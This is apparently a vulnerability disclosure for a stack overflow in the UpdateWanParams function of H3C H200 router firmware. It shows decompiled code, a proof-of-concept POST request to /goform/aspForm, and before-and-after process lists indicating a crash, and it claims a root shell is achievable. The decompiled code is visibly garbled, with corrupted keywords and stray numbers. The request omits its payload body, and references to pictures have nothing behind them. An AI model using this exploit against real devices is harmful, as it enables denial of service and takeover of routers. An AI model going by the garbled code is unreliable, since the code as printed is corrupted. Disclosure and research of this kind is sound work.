

# H3C H200[H200-EI] (H200V100R004) has a stack overflow vulnerability

### Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d\_202009/1345678\_30005\_0.htm

#### **Product Information**

H3C H200[H200-EI] H200V100R004, the latest version of simulation overview:



## **Vulnerability details**

The H3C H200[H200-EI] (H200V100R004) was found to have a stack overflow vulnerability in the UpdateWanParams function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
char v27[64]; // [sp+130h] [+130h] BYREF
28
29
    int v28; // [sp+170h] [+170h] BYREF
    int v29; // [sp+174h] [+174h] BYREF
30
31
32
    v28 = 0;
33
    v29 = 0;
34
    V3 = 0;
35
    V2 = 0;
    strcpy(v26, "param");
36
    v24 = sub_4932BC(a1, v26, &dword_4DC358);
37
     if\() strlen(\vee24) >= 0\times200)
38
39
       neturn -2;
40
    v25\= IF_GetByPseudoNameDomain("WAN1", 0, &v28);
     if (\Module_IsSupport_WAN_MULTI() == 1 )
41
       v29 += IF_GetByPseudoNameDomain("WAN2", 0, &v29);
42
43
          (25)
    if (
44
       puts("Can't by ifindex by pseudoname.");
45
46
       return -2;
47
     }
48
    else
49
      sscanf(v24, "%s", v27);
50
51
       v4 = (BYTE *)(v24 + strlen(v27) + 1);
52
       if ( \sqrt{27}[0] == 52 )
E 2
```

In the UpdateWanParams function, V24 (the value param) we entered is formatted using the sscanf function and in the form of %s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V27 and less than 0x200, it will cause a stack overflow.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by gemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.0.124:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: https://121.226.152.63:8443/router_password_mobile.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 553
Origin: https://192.168.0.124:80
DNT: 1
Connection: close
Cookie: JSESSIONID=5c31d502
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

```
958 *root 740 S /bin/timerange &
959 *root 2396 S /bin/onlineupdate &
960 *root 2020 S /bin/maincontrol &
966 *root 1144 S /bin/monitor &
967 *root 592 S /bin/watchdog &
987 *root 840 S dnsmasq -r /etc/resolv.conf -n -c 500
989 *root 964 S /bin/dhcpd -d -q eth0
1020 *root 320 S /bin/igmpproxy WAN1 eth0 -D
1051 *root 872 S upnpd /var/run/upnp_385875968 eth0 WAN1
1225 *root 616 S telnetd
1566 *root 1044 S -mwcli
1567 *root 804 S /bin/sh
1590 *root 2216 S /bin/webs &
1593 *root 720 R ps
```


The picture above shows the process information before we send poc.

```
966 *root 1144 S /bin/monitor & 967 *root 592 S /bin/watchdog & 987 *root 840 S dnsmasq -r /etc/resolv.conf -n -c 500 989 *root 964 S /bin/dhcpd -d -q eth0 1020 *root 320 S /bin/igmpproxy WAN1 eth0 -D 1051 *root 872 S upnpd /var/run/upnp_385875968 eth0 WAN1 1225 *root 616 S telnetd 1566 *root 1044 S -mwcli 1567 *root 804 S /bin/sh 1597 *root 2216 S /bin/webs & 1600 *root 728 R ps
```

In the picture above, we can see that the PID has changed since we sent the POC.



The picture above is the log information.



By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell.